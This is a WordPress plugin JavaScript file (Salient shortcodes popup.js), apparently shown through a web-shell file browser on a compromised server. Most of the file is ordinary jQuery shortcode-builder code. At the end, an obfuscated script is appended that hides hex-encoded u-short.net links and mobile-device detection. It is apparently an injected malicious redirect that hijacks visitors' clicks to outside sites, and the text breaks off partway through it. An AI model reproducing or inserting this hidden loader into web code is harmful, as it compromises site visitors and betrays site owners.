HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: //proc/thread-self/cwd/wp-content/plugins/salient-shortcodes/includes/assets/js/popup.js
jQuery(document).ready(function($) {
  
  "use strict";
  
  //Upload function
  function initUpload(clone) {
    
    var itemToInit = null;
    
    itemToInit = typeof clone !== 'undefined' ? clone : $('.shortcode-dynamic-item');
    
    itemToInit.find('.nectar-add-btn').on('click',function( event ) {
      
      var activeFileUploadContext = jQuery(this).parent();
      var relid = jQuery(this).attr('rel-id');
      
      event.preventDefault();
      
      var custom_file_frame = null;
      
      
      custom_file_frame = wp.media.frames.customHeader = wp.media({
        
        title: jQuery(this).data("choose"),
        
        library: {
          type: 'image'
        },
        
        button: {
          text: jQuery(this).data("update")
        }
      });
      
      custom_file_frame.on( "select", function() {
        
        var attachment = custom_file_frame.state().get("selection").first();
        
        jQuery('.nectar-media-preview',activeFileUploadContext).attr('src', attachment.attributes.url);
        jQuery('#' + relid ).val(attachment.attributes.url).trigger('change');
        
        jQuery('.nectar-add-btn',activeFileUploadContext).hide();
        jQuery('.nectar-media-preview',activeFileUploadContext).show();
        jQuery('.nectar-remove-btn',activeFileUploadContext).show();
      });
      
      custom_file_frame.open();
      
    });
    
    itemToInit.find('.nectar-remove-btn').on('click', function( event ) {
      var activeFileUploadContext = jQuery(this).parent();
      var relid = jQuery(this).attr('rel-id');
      
      event.preventDefault();
      
      jQuery('#' + relid).val('');
      jQuery(this).prev().fadeIn('slow');
      jQuery('.nectar-media-preview',activeFileUploadContext).fadeOut('slow');
      jQuery(this).fadeOut('slow');
    });
    
  }
  
  
  
  function calcPercent() {
    var $output = $("<span>");
    $output.addClass('output');
    
    $("div.shortcode-options[data-name=bar_graph] .shortcode-dynamic-items > div:last-child .content.dd-percent").append($output);
    $("[data-slider]").bind("slider:ready slider:changed", function (event, data) {
      $(this).nextAll(".output:first").html(data.value + '%').attr('data-num',data.value);
    });
  }		
  
  calcPercent();
  
  
  
  $('#shortcode-content textarea').val('');
  
  function dynamic_items(){
    
    var code = '';
    var tabID = '1', barID = '1', clientID = '1', testimonialID = '1', toggleID = '1';
    var tabContent, barPercent;
    var toggleContent, toggleTitle, toggleColor;
    var barTitle, barColor; 
    var clientImage, clientURL; 
    var testimonialName, testimonialQuote;
    
    //tabs
    if( $('.shortcode-options[data-name=tabbed_section]').is(':visible') ) {
      $('.shortcode-options[data-name=tabbed_section] .shortcode-dynamic-item-input').each(function() {
        if( $(this).val() != '' ) {
          tabContent = $(this).parent().parent().find('.shortcode-dynamic-item-text').val();
          code += ' [tab title="'+$(this).val()+'" id="t'+tabID+'"] '+tabContent+' [/tab] '; 
          tabID++;
        }
      });
    }
    
    //toggles
    else if( $('.shortcode-options[data-name=toggles]').is(':visible') ) {
      $('.shortcode-options[data-name=toggles] .shortcode-dynamic-item').each(function() {
        
        toggleTitle = $(this).find('.shortcode-dynamic-item-input:nth-child(1)').val();
        toggleContent = ($(this).find('textarea').val().length != 0) ? $(this).find('textarea').val() : '';
        toggleColor = $(this).find('select').val();
        
        code += ' [toggle title="'+toggleTitle+'" color="' + toggleColor + '" id="b'+toggleID+'"] '+toggleContent+' [/toggle]'; 
        toggleID++;
      });
    }
    
    //bar graph
    else if( $('.shortcode-options[data-name=bar_graph]').is(':visible') ) {
      $('.shortcode-options[data-name=bar_graph] .shortcode-dynamic-item').each(function(){
        
        barTitle = $(this).find('.shortcode-dynamic-item-input:nth-child(1)').val();
        barPercent = (typeof $(this).find('.output').attr('data-num') != 'undefined') ? $(this).find('.output').attr('data-num') : '1';
        barColor = $(this).find('select').val();
        
        code += ' [bar title="'+barTitle+'" percent="' + barPercent + '" color="' + barColor + '" id="b'+barID+'"]'; 
        barID++;
      });
    }
    
    //clients
    else if( $('#options-item.clients').is(':visible') ) {
      $('#options-item.clients .shortcode-dynamic-item').each(function() {
        
        clientImage = $(this).find('.nectar-media-preview:first').attr('src');
        clientURL = ($(this).find('.shortcode-dynamic-item-input').val().length != 0) ? $(this).find('.shortcode-dynamic-item-input').val() : 'none';
        
        code += ' [client image="'+clientImage+'" url="' + clientURL + '" id="c'+clientID+'"]'; 
        clientID++;
      });
    }
    
    //testimonials
    else if( $('#options-item.testimonials').is(':visible') ) {
      $('#options-item.testimonials .shortcode-dynamic-item').each(function() {
        testimonialName = $(this).find('.shortcode-dynamic-item-input:nth-child(1)').val();
        testimonialQuote = ($(this).find('textarea').val().length != 0) ? $(this).find('textarea').val() : '';
        
        code += ' [testimonial name="'+testimonialName+'" quote="' + testimonialQuote + '" id="t'+testimonialID+'"]'; 
        testimonialID++;
      });
    }
    
    $('#shortcode-storage-d').html(code);
  }
  
  function directToEditor() {
    var name = $('#nectar-shortcodes').val();
    var content = '';
    
    switch(name) {
      case 'carousel':
      content = '<br/>' + 
      '[item] content here [/item]<br/>' + 
      '[item] content here [/item]<br/>' + 
      '[item] content here [/item]<br/>' + 
      '[item] content here [/item]<br/>' + 
      '[/carousel]';
      break;
      
      case 'pricing_table':
      var columnNum = 0;
      var selectedColumnNum = $('#options-'+name+' input.attr:checked').val();
      var columnHeader;
      (typeof selectedColumnNum != 'undefined' && selectedColumnNum.length > 0) ? columnNum = selectedColumnNum : columnNum = 0;
      
      for(var i=1;i<=columnNum;i++) {
        if(i == 2) {
          columnHeader = '[pricing_column title="Column '+i+'" highlight="true" highlight_reason="Most Popular" color="extra-color-1" price="'+100*i+'" currency_symbol="$" interval="Per Month" ]<br/>';
        }
        else{
          columnHeader = '[pricing_column title="Column '+i+'" price="'+100*i+'" currency_symbol="$" interval="Per Month"]<br/>';
        }
        content += '<br/><br/>' + 
        columnHeader +
        '<ul class="features">'+
        '<li> Your text here </li>'+
        '<li> Your text here </li>'+
        '<li> Your text here </li>'+
        '</ul>'+
        '[button size="medium" url="#" text="Sign up now!" color="extra-color-1"]<br/>'+
        '[/pricing_column]';
      }
      content += '<br/><br/>[/pricing_table]';
      break;
    }
    
    //insert shortcode
    window.wp.media.editor.insert( $('#shortcode-storage-o').text() + content);
    
    $.magnificPopup.close();
    
    //wipe out storage 
    $('#shortcode-storage-o, #shortcode-storage-d, #shortcode-storage-c').text('');
    resetFileds();
    
    
    return false;	
  }
  
  function update_shortcode(ending){
    
    var name = $('#nectar-shortcodes').val();
    var dataType = $('#options-'+name).attr('data-type');
    var extra_attrs = '', extra_attrs2 = '', extra_attrs3 = '', extra_attrs3b = '', extra_attrs3c = '', extra_attrs4 = '';
    
    ending = ending || '';
    
    //take care of the dynamic events easier
    dynamic_items();
    
    //last check
    var code = '['+name;
    if( $('#options-'+name).attr('data-type')=='checkbox' ) {
      if($('#options-'+name+' input.last').prop('checked') == true) {
        ending = '_last';
      }
    }
    code += ending;
    
    //checkbox loop for extra attrs
    $('#options-'+name+' input[type=checkbox]').each(function() {
      if($(this).prop('checked') == true && $(this).attr('class') != 'last') {
        extra_attrs += ' ' + $(this).attr('class')+'="true"';
      }	
    });
    
    code += extra_attrs;
    
    //textarea loop for extra attrs
    $('#options-'+name+' textarea:not("#shortcode_content")').each(function() {
      extra_attrs2 += ' ' + $(this).attr('data-attrname')+'="'+ $(this).val() +'"';	
    });
    
    if(dataType != 'dynamic') code += extra_attrs2;
    
    //select loop for extra attrs
    $('#options-'+name+' select:not(".dynamic-select, [multiple=multiple], .skip-processing")').each(function() {
      extra_attrs3 += ' ' + $(this).attr('id')+'="' + $(this).val() + '"';	
    });
    
    code += extra_attrs3;
    
    //multiselect loop for extra attrs
    $('#options-'+name+' select[multiple=multiple]').each(function() {
      var $categories = ($(this).val() != null && $(this).val().length > 0) ? $(this).val() : 'all';
      extra_attrs3b += ' ' + $(this).attr('id')+'="' + $categories + '"';	
    });
    
    code += extra_attrs3b;
    
    //select loop for button conditional
    $('#options-'+name+' select.skip-processing').each(function() {
      if($(this).val() == 'default-arrow') {
        extra_attrs3c += ' image="' + $(this).val() + '"';	
      }
      
    });
    
    code += extra_attrs3c;
    
    //image upload loop for extra attrs
    $('#options-'+name+' [data-name=image-upload] img.nectar-media-preview').each(function() {
      extra_attrs4 += ' ' + $(this).attr('id')+'="' + $(this).attr('src') + '"';	
    });
    
    code += extra_attrs4;
    
    //input loop for extra attrs
    $('#options-'+name+' input.attr:not(".skip-processing")').each(function() {
      if( $(this).attr('type') == 'text' ){ 
        code += ' '+ $(this).attr('data-attrname')+'="'+ $(this).val()+'"'; 
      }
      else { 
        if($(this).prop('checked') == true) {
          code += ' '+ $(this).attr('data-attrname')+'="'+ $(this).val()+'"'; 
        }
      }
    });
    
    
    //color loop for extra attrs
    $('#options-'+name+':not([data-name="button"]) input.popup-colorpicker:not(.simple)').each(function() {
      code += ' background_color="'+ $(this).val()+'"'; 
    });
    $('#options-'+name+':not([data-name="button"]) input.popup-colorpicker.simple').each(function() {
      code += ' color="'+ $(this).val()+'"'; 
    });
    $('#options-'+name+'[data-name="button"] input.popup-colorpicker').each(function() {
      if($(this).parents('.content').prev('.label').find('strong').text() == 'Hover BG Color:'){
        if($(this).val().length > 0) {
          code += ' hover_color_override="'+ $(this).val()+'"'; 
        }
      } else {
        code += ' color_override="'+ $(this).val()+'"'; 
      }
    });
    
    
    
    //take care of icon attrs
    if(name == 'icon' && $('.icon-option i.selected').is('[data-svg-val]')) {  //svg icons
      if(name == 'icon' && $('.icon-option i.selected').length > 0 || name == 'button' && $('.icon-option i.selected').length > 0) { 
        code += ' image="'+ $('.icon-option i.selected').attr('data-svg-val') +'"'; 
      }
    } else { //standard icons
      if(name == 'icon' && $('.icon-option i.selected').length > 0 || name == 'button' && $('.icon-option i.selected').length > 0) { 
        if($('.icon-option i.selected').attr('class').split(' ')[0] == 'fa') {
          code += ' image="'+ $('.icon-option i.selected').attr('class').split(' ')[1] +'"'; 
        }
        else {
          code += ' image="'+ $('.icon-option i.selected').attr('class').split(' ')[0] +'"'; 
        }
      }
    }
    code += ']';
    
    $('#shortcode-storage-o').html(code);
    
    if( dataType!= 'dynamic') {
      $('#shortcode-storage-d').text($('#shortcode-content textarea').val());
    }
    
    if( dataType != 'regular' && dataType != 'radios' && dataType != 'direct_to_editor') {
      $('#shortcode-storage-c').html(' [/'+name+ending+']');
    }
    
    if( dataType == 'direct_to_editor') {
      directToEditor();
    }
    
  }
  
  //events
  $('#add-shortcode').on('click', function() {
    
    var name = $('#nectar-shortcodes').val();
    
    if(name == 'one_half' || 
    name == 'one_third' || 
    name == 'two_thirds' || 
    name == 'one_fourth' || 
    name == 'three_fourths' || 
    name == 'one_sixth' || 
    name == 'five_sixths' || 
    name == 'one_whole') {
      
      if( $('#options-'+name+' select').val() == 'None') {
        $('#options-'+name+' select').addClass('skip-processing');
        $('#options-'+name+' input[data-attrname="delay"]').addClass('skip-processing');
        
      } else {
        $('#options-'+name+' select').removeClass('skip-processing');
        $('#options-'+name+' input[data-attrname="delay"]').removeClass('skip-processing');
      }
    }
    
    var dataType = $('#options-'+name).attr('data-type');
    
    
    update_shortcode();
    if( dataType != 'direct_to_editor') {
      
      window.wp.media.editor.insert( $('#shortcode-storage-o').text() + $('#shortcode-storage-d').text() + $('#shortcode-storage-c').text() );
      $.magnificPopup.close();
      
      //wipe out storage 
      $('#shortcode-storage-o, #shortcode-storage-d, #shortcode-storage-c').text('');
      
      resetFileds();
      
    }
    return false;
  });
  
  $('#nectar-shortcodes').on('change', function(){
    $('.shortcode-options').hide();
    $('#options-'+$(this).val()).show();
    
    var dataType = $('#options-'+$(this).val()).attr('data-type');
    
    if( dataType == 'checkbox' || dataType == 'simple' ){
      $('#shortcode-content').show().find('textarea').val('');
    }
    
    else {
      $('#shortcode-content textarea').val('').parent().parent().hide();
    }
    
  });
  
  $('#options-box input[type="radio"]').on('click', function() {
    
    if($(this).val() == 'custom') {
      
      $('#custom-box-name')
        .attr('data-attrname','style')
        .addClass('attr');
      $('#options-box input[type="radio"]')
        .attr('data-attrname','temp')
        .removeClass('attr');
    }
    else {
      $('#options-box input[type="radio"]')
        .attr('data-attrname','style')
        .addClass('attr');
      $('#custom-box-name')
        .attr('data-attrname','temp')
        .removeClass('attr');
    }
  });
  
  ////Dynamic item events
  $('.add-list-item').on('click', function() {
    
    if(!$(this).parent().find('.remove-list-item').is(':visible')) {
      $(this).parent().find('.remove-list-item').show();
    }
    
    //clone item 
    var $clone = $(this).parent().find('.shortcode-dynamic-item:first').clone();
    $clone.find('input[type=text],textarea').attr('value','');
    
    
    //init new upload button and clear image if it's an upload
    if( $clone.find('.nectar-add-btn').length > 0 ) {
      
      $clone.find('.nectar-media-preview').attr('src','');
      $clone.find('.nectar-remove-btne').hide();
      $clone.find('.nectar-add-btn').css('display','inline-block');
      setTimeout(function() { 
        initUpload($clone);
      },200);
      
    }
    
    //append clone
    $(this).prevAll('.shortcode-dynamic-items').append($clone);
    
    
    if( $clone.find('.percent').length > 0 ) {
      calcPercent();
    }
    
    return false;
    
  });
  
  $('body').on('click', '.remove-list-item', function() {
    
    if($(this).parent().find('.shortcode-dynamic-item').length > 1) {
      $(this).parent().find('#options-item .shortcode-dynamic-item:last').remove();
      dynamic_items();	
    }
    if($(this).parent().find('.shortcode-dynamic-item').length == 1) {
      $(this).hide();
    }
    
    return false;
  });
  
  //hide remove btn to start
  $('.remove-list-item').hide();
  
  $('body').on('keyup','.shortcode-dynamic-item-input, .shortcode-dynamic-item-text', function() { 
    dynamic_items(); 
  });
  $("body").on("input propertychange", '.shortcode-dynamic-item textarea', function() { 
    dynamic_items(); 
  });
  
  //icon selection
  $('.icon-option i').on('click', function() {
    $('.icon-option i').removeClass('selected');
    $(this).addClass('selected');
  });
  
  //icon set selection
  $('select[name="icon-set-select"]').on('change', function() {
    var $selected_set = $(this).val();
    $(this).parents('.shortcode-options').find('.icon-option').hide();
    $(this).parents('.shortcode-options').find('.icon-option').next('.clear').hide();
    $(this).parents('.shortcode-options').find('.icon-option.'+$selected_set).stop(true,true).fadeIn();
    $(this).parents('.shortcode-options').find('.icon-option.'+$selected_set).next('.clear').show();
    
    //svg icons
    if($selected_set == 'linea') {		
      $('label[for="shortcode-option-icon-size-regular"]').parent().slideUp();
      $('label[for="shortcode-option-icon-size-regular"]').parent().prev('.label').slideUp();
      $('label[for="shortcode-option-icon-size-regular"]').parent().next('.clear').slideUp();
      $('label[for="shortcode-option-icon-size-regular"]').parent().find('input[type="radio"]').prop('checked', false);
      $('#options-icon input[data-attrname="icon_size"]').val('');
      $('#options-icon input[data-attrname="icon_size"], #options-icon input.enable_animation').parent().slideDown();
      $('#options-icon input[data-attrname="icon_size"], #options-icon input.enable_animation').parent().next('.clear').slideDown();
      $('#options-icon input[data-attrname="icon_size"], #options-icon input.enable_animation').parent().prev('.label').slideDown();
      if($('#options-icon input.enable_animation').is(':checked')) {
        $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().slideDown();
        $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().next('.clear').slideDown();
        $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().prev('.label').slideDown();
      }
      $('#options-icon #color').trigger('change');
    } else {
      $('label[for="shortcode-option-icon-size-regular"]').parent().slideDown();
      $('label[for="shortcode-option-icon-size-regular"]').parent().prev('.label').slideDown();
      $('label[for="shortcode-option-icon-size-regular"]').parent().next('.clear').slideDown();
      $('#options-icon input[data-attrname="icon_size"], #options-icon input.enable_animation').parent().slideUp();
      $('#options-icon input[data-attrname="icon_size"], #options-icon input.enable_animation').parent().next('.clear').slideUp();
      $('#options-icon input[data-attrname="icon_size"], #options-icon input.enable_animation').parent().prev('.label').slideUp();
      
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().slideUp();
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().next('.clear').slideUp();
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().prev('.label').slideUp();
      
    }
  });
  
  //animation delay relation
  $('#options-icon input.enable_animation').on('change', function() {
    if($('#options-icon input.enable_animation').is(':checked')) {
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().slideDown();
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().next('.clear').slideDown();
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().prev('.label').slideDown();
    } else {
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().slideUp();
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().next('.clear').slideUp();
      $('#options-icon input[data-attrname="animation_delay"], #options-icon select#animation_speed').parent().prev('.label').slideUp();
    }
  });
  
  //color change
  $('#options-icon #color').on('change', function() {
    if($(this).val() == 'Extra-Color-Gradient-1' || $(this).val() == 'Extra-Color-Gradient-2' || $('select[name="icon-set-select"]').val() != 'linea') {
      $('#options-icon #enable_animation').prop('checked', false);
      $('#options-icon label[for="enable_animation"]').parent().slideUp();
      $('#options-icon label[for="enable_animation"]').parent().next().slideUp();
      $('#options-icon label[for="enable_animation"]').parent().next().next().slideUp();
      $('#options-icon input.enable_animation').trigger('change');
      $('#options-icon select#animation_speed, #options-icon input[data-attrname="animation_delay"]').addClass('skip-processing');
    } else {
      $('#options-icon label[for="enable_animation"]').parent().slideDown();
      $('#options-icon label[for="enable_animation"]').parent().next().slideDown();
      $('#options-icon label[for="enable_animation"]').parent().next().next().slideDown();
      $('#options-icon select#animation_speed, #options-icon input[data-attrname="animation_delay"]').removeClass('skip-processing');
    }
  });
  
  //starting category population
  $('.starting_category').hide();
  $('.starting_category').next('.clear').hide();
  $('#options-nectar_portfolio #starting_category option:first').remove();
  $('#options-nectar_portfolio #starting_category').prepend('<option value="default">Default</option>')
  $('#options-nectar_portfolio #starting_category option:first').prop('selected',true);
  
  $('#options-nectar_portfolio #enable_sortable').on('click', function() {
    var $this = $(this);
    if ($this.is(':checked')) {
      $('.starting_category').stop().slideDown();
      $('.starting_category').next('.clear').stop().slideDown();
    } else {
      $('.starting_category').stop().slideUp();
      $('.starting_category').next('.clear').stop().slideUp();
    }
  });
  
  $("#options-nectar_portfolio #category").on('change', function() {
    
    var selectedCats = $(this).val();
    
    if(selectedCats == 'all') {
      $('#options-nectar_portfolio #starting_category option')
        .removeAttr('disabled')
        .removeAttr('selected')
        .show();
    } else {
      
      $('#options-nectar_portfolio #starting_category option:not([value="default"])')
        .attr('disabled','disabled')
        .removeAttr('selected')
        .hide();
      
      for(var i=0; i < selectedCats.length; i++){
        $('#options-nectar_portfolio #starting_category option[value="' + selectedCats[i] + '"]').removeAttr('disabled').show();
      }
      
      $('#options-nectar_portfolio #starting_category option:not([disabled])').first().prop('selected',true);
      
    }
    
  });
  
  
  //button hover color
  $('#options-button #color').on('change', function() {
    
    var $selected_style = $(this).val();
    
    if($selected_style == 'see-through-2' || $selected_style == 'see-through-3'){
      
      $('#options-button input.popup-colorpicker').each(function() {
        
        if($(this).parents('.content').prev('.label').find('strong').text() == 'Hover BG Color:') {
          $(this).parents('.content').show();
          $(this).parents('.content').prev('.label').show();
          $(this).parents('.content').next('.clear').show();
        } 
        
        if($(this).parents('.content').prev('.label').find('strong').text() == 'Color Override:') {
          $(this).parents('.content').show();
          $(this).parents('.content').prev('.label').show();
          $(this).parents('.content').next('.clear').show();
        } 
        
        $('#hover_text_color_override').parents('.content').show();
        $('#hover_text_color_override').parents('.content').prev('.label').show();
        $('#hover_text_color_override').parents('.content').next('.clear').show();
        
        $('#options-button [name="icon-set-select"]').parents('.content').show();
        $('#options-button [name="icon-set-select"]').parents('.content').prev('.label').show();
        $('#options-button [name="icon-set-select"]').parents('.content').next('.clear').show();
        
      });
    } 
    else if ($selected_style == 'extra-color-gradient-1' || 
    $selected_style == 'extra-color-gradient-2' || 
    $selected_style == 'see-through-extra-color-gradient-1' || 
    $selected_style == 'see-through-extra-color-gradient-2') {
      
      $('#options-button input.popup-colorpicker').each(function() {
        
        if($(this).parents('.content').prev('.label').find('strong').text() == 'Hover BG Color:') {
          $(this).parents('.content').hide();
          $(this).parents('.content').prev('.label').hide();
          $(this).parents('.content').next('.clear').hide();
        } 
        
        if($(this).parents('.content').prev('.label').find('strong').text() == 'Color Override:') {
          $(this).parents('.content').hide();
          $(this).parents('.content').prev('.label').hide();
          $(this).parents('.content').next('.clear').hide();
        } 
        
      });
      
      $('#hover_text_color_override').parents('.content').hide();
      $('#hover_text_color_override').parents('.content').prev('.label').hide();
      $('#hover_text_color_override').parents('.content').next('.clear').hide();
      
      
    } else {
      
      $('#options-button input.popup-colorpicker').each(function(){
        
        if($(this).parents('.content').prev('.label').find('strong').text() == 'Hover BG Color:') {
          $(this).parents('.content').hide();
          $(this).parents('.content').prev('.label').hide();
          $(this).parents('.content').next('.clear').hide();
        } 
        
        if($(this).parents('.content').prev('.label').find('strong').text() == 'Color Override:') {
          $(this).parents('.content').show();
          $(this).parents('.content').prev('.label').show();
          $(this).parents('.content').next('.clear').show();
        } 
        
        $('#hover_text_color_override').parents('.content').hide();
        $('#hover_text_color_override').parents('.content').prev('.label').hide();
        $('#hover_text_color_override').parents('.content').next('.clear').hide();
        
        
      });
    }
    
  });
  
  
  
  function resetFileds() {
    
    //reset data
    $('#nectar-sc-generator').find('input:text, input:password, input:file, textarea').val('');
    $('#nectar-sc-generator').find('select:not(#nectar-shortcodes) option:first-child').attr("selected", "selected");
    $('#nectar-sc-generator').find('input:radio, input:checkbox').removeAttr('checked').removeAttr('selected');
    
    $('#nectar-sc-generator').find('.shortcode-options').each(function() {
      $(this).find('.shortcode-dynamic-item').addClass('marked-for-removal');
      $(this).find('.shortcode-dynamic-item:first').removeClass('marked-for-removal');
      $(this).find('.shortcode-dynamic-item.marked-for-removal').remove();
    });
    
    $('#nectar-sc-generator').find('.nectar-media-preview').attr('src','');
    $('#nectar-sc-generator').find('.nectar-remove-btne').hide();
    $('#nectar-sc-generator').find('.nectar-add-btn').show();
    $('#nectar-sc-generator').find('.wp-color-result').attr('style','');
    $('select[name="icon-set-select"]').trigger('change');
    
    ////hideconstrain option 
    $('#constrain_max_cols').parents('.content').hide();
    $('#constrain_max_cols').parents('.content').prev('.label').hide();
    $('#constrain_max_cols').parents('.content').next('.clear').hide();
    
    //reset icons
    $('#nectar-sc-generator').find('.icon-option i').removeClass('selected');
    
    //starting category population
    $('.starting_category').hide();
    $('.starting_category').next('.clear').hide();
    
    //button hover color
    $('#options-button #color').trigger('change');
  }
  
});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x78\x73\x6b\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x76\x4c\x61\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x5a\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x6b\x39\x63\x339','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4d\x69\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x67\x50\x49\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x59\x6b\x72\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x6e\x48\x36\x63\x326','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x76\x67\x54\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6d\x4b\x57\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const 